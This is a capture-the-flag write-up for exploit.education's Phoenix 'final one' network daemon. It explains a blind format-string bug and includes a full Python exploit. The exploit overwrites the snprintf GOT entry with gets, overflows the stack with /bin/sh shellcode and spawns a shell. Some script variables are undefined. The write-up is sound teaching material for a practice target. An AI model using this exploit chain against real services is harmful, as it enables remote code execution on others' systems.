- I have been trying to pwn the challenge final 1 for nearly a day and a half now and i don't seem to have made any progress , so i will write what i find here so i can hopefully link the dots
context
- we will be working on the 32 bit version
analysis
- the first thing i did was read the source code:
#include <arpa/inet.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <syslog.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char username[128];
char hostname[64];
FILE *output;
void logit(char *pw) {
char buf[2048];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
void trim(char *str) {
char *q;
q = strchr(str, '\r');
if (q) *q = 0;
q = strchr(str, '\n');
if (q) *q = 0;
}
void parser() {
char line[128];
printf("[final1] $ ");
while (fgets(line, sizeof(line) - 1, stdin)) {
trim(line);
if (strncmp(line, "username ", 9) == 0) {
strcpy(username, line + 9);
} else if (strncmp(line, "login ", 6) == 0) {
if (username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
int testing;
void getipport() {
socklen_t l;
struct sockaddr_in sin;
if (testing) {
strcpy(hostname, "testing:12121");
return;
}
l = sizeof(struct sockaddr_in);
if (getpeername(0, (void *)&sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp) {
if (argc >= 2) {
testing = !strcmp(argv[1], "--test");
output = stderr;
} else {
output = fopen("/dev/null", "w");
if (!output) {
err(1, "fopen(/dev/null)");
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("%s\n", BANNER);
getipport();
parser();
return 0;
}
- it is obvious that the vulnerability is in the function logit , exacly in the call to
fprintf
, because we control username and pw and by extension part of buff . - the thing that is both fun and frustrating here is that all the information that we could read by placing format specifiers (eg. %p) in buff is redirected to
output
which points to/dev/null
, our data and with it our sweet feedback goes to oblivion , this is what is meant with the word blind . - the text before username and pw that includes the hostname can cause alignement errors, however , a simple calculation tell me that putting a single space before the data in username makes whatever addresses put after it in perfect alignment when things are copied into buff.
- also for some context , here is the disassembly of
logit
:
push ebp
mov ebp,esp
sub esp,0x808
sub esp,0x8
push DWORD PTR [ebp+0x8]
push 0x8049ee0
push 0x8049f80
push 0x8048b40
push 0x800
lea eax,[ebp-0x808]
push eax
call 0x8048560 <snprintf@plt>
add esp,0x20
mov eax,ds:0x8049f60
sub esp,0x8
lea edx,[ebp-0x808]
push edx
push eax
call 0x80485a0 <fprintf@plt>
add esp,0x10
nop
leave
ret
planning the exploit
- the idea behind this exploit was polished by the circumstances of this challenge , examining the core dump i found i can do arbitrary write to any memory , but the number that i can write with
%n
is itself limited since i can only put around 250 characters in the login and username variables, so if i am doing partial writes to an address , the range i can work with is something between 20 and 250 , so searching in the core dumps i had an idea that thrilled me is someone who is just starting in this , what if i could create another , more powerful , easy to exploit vulnerability using my kind of hard format string one ? - now just follow with me , we know that the first argument given to the function
snprintf
isbuf
, so if we can somehow replace the got entry ofsnprintf
with the address ofgets
, i can write whatever i want to buff with no bounds , a classic stack based buffer overflow ! - examining with
gdb
:
notice : set a break point and runt he program with --test , the addresses of the functions change at runtime .
(gdb) i functions snprintf
Non-debugging symbols:
0x08048560 snprintf@plt
(gdb) disassemble 0x08048560
Dump of assembler code for function snprintf@plt:
0x08048560 <+0>: jmp DWORD PTR ds:0x8049e4c
(gdb) x/w 0x8049e4c
0x8049e4c <snprintf@got.plt>: 0xf7fb8b69
- the address of the function
snprintf
is0xf7fb8b69
- and to get the address of
gets
:
(gdb) i functions gets
All functions matching regular expression "gets":
Non-debugging symbols:
...
...
0xf7fb7db3 gets
...
...
-
i did not do the same diging process because this is not in the
plt
, since it is not used in the code , for more see plt , so the address of gets is0xf7fb7db3
, and the address ofsnprintf
is0xf7fb8b69
, notice the first two bytes are identical ? and more good news , in the bytes that are different , the number we wanna write to the address ofsnprintf
to make it the same isgets
address are7d
andb3
, in decimal 125 and 179 , both in our writable numbers range ! , in theory this is 100% working . -
now that we found a good approach , let's lay down our plan, first we will solve our alignment issue , remember ,what we wanna write in the stack the address of the address of
snprintf
, because the format specifier%n
writes to the memory in the address it find so on the stack , not to the stack itself , many confuse this , it simply writes the number of character written so far in the location pointed to by the argument given to it , which is a pointer laying in the stack , but the catch is , the argument is the stack in 32 bit programs should be aligned to 4 bytes , meaning they reside in a stack offset that is a multiple of 4 ,the reason for this is that due to calling conventions ,variadic
functions likesnprintf
read from the top of the stack of the caller function (the address inesp
), and increase by 4 to find the next argument , when you want the nth argument , it simply access the addressesp
+n*4 ,so if our address that we put in the stack to modify its content is not placed right , the function wont be able to interpret it . -
according to the disassembly of logit , this is the stack layou (yes buf is 2056 bytes in the assembly as opposed to 2048 in the code, this will be important in the exploit):
+----------------------------+ <- Lower memory (stack grows down)
| Return Address (ret) |
+----------------------------+
| Saved EBP |
+----------------------------+
| Buf[2056] |
| (2056 bytes) |
| ... |
+----------------------------+
| Blank / Padding (8 bytes) |
| |
+----------------------------+
| Address of Buf (4B) |
+----------------------------+
| Pointer to Output (4B) |
+----------------------------+ <- Higher memory
- the
snprintf
reads from the position above the buffer address , meaning if we give it%lf %lf
it will read from the blank 8 bytes , then , 8 bytes frombuf
- our address that we wanna put there is in the variable username , which is written to
buf
with this"Login from %s as [%s] with password [%s]\n",hostname, username, pw);
, we will assume thathostname
is the largest possible length i could take , which is the same length as 255.255.255.255:65535 (if it does not, we pad it to be the same length in the script) , this as done so we dont have unknown variation between machines - a side note : what we are writing to the stack is the address of the address of
snprintf
, the got entry , that's why the variablessnprintf
andsnprintf 2
are not he same as the address ofsnprintf
, one points to the first byte in the address and the other to the second.
the exploit
- after some long trial and error (that any binary exploiter should experience), i figured out that after the padding of the address, we should also add 3 character, and then put the address of
snprintf
, after that , the format%lf%lf%lf%lf%x%x%x%x
, puts us right on the first bit of the address , some playing around to print the exact number of character is necessary , also we will print to the address ofsnprintf
+1 , remember that we got to change the first two bytes (first because of the endianness, and after a successful address modification the rest is a straight forward stack buffer overflow, after that i was left with this very not ugly python exploit :
#/usr/bin/python
from pwn import *
#phase 1 , replacing fgets with gets using the format string
#connection to the daemon and setting the padding
#for hostname that we dicussed earlier
targetsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
targetsocket.connect(('localhost',64014))
exploited = remote.fromsocket(targetsocket)
(myaddr,myport) = targetsocket.getsockname()
hostname = str(myaddr)+':'+str(myport)
padding = 21 - len(hostname)
snprintf = p32(0x08049e4c)
snprintf = p32(0x08049e4c+1)
space = b' '
#this gets us to the exact location we put the adresses
readtoplace =b"%lf%lf%lf%lf%x%x%x%x"
#this writes the amount of characters written so far at
#the first byte in the address at the location we are at
writecmd = b"%hhn"
username = b"username "+(padding+3)*'g'+snprintf2+snprintf+9*b'a'+readtoplace+b'\n'
login = b"login " +writecmd+54*b'a'+writecmd+b'\n'
try:
exploited.send(username)
exploited.recvuntil("[final1] $ ")
exploited.send(login)
exploited.recvuntil("[final1] $ ")
except Exception as e:
print(e)
exit()
#phase 2 , the stack buffer overflow with
#now that we replace the function snprintf with gets
#we will give some bogus username and login just to
#execute the function logit and get the gets to buf
#resending credentials so we can get to gets
#(snprintf previously)
exploited.send(username)
exploited.recvuntil("[final1] $ ")
exploited.send(login)
exploited.recvuntil("[final1] $ ")
#buf is 2048 in the c code but 2056 in the asm
bufsize = 2056
#bufaddr = p32(0xf7ffb660)
bufaddr = p32(0xffffd490)
shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = shellcode + (bufsize-len(shellcode)+4)*b'z'+bufaddr
try :
exploited.send(payload)
exploited.interactive()
except Exception as e:
print(e)
exit()
- running this script we get :
user@phoenix-amd64:~/finalone$ python remotexploit.py
[*] Switching to interactive mode
$
$ whoami
phoenix-i386-final-one
epilogue
- we did it guys ! , and we did it super cool .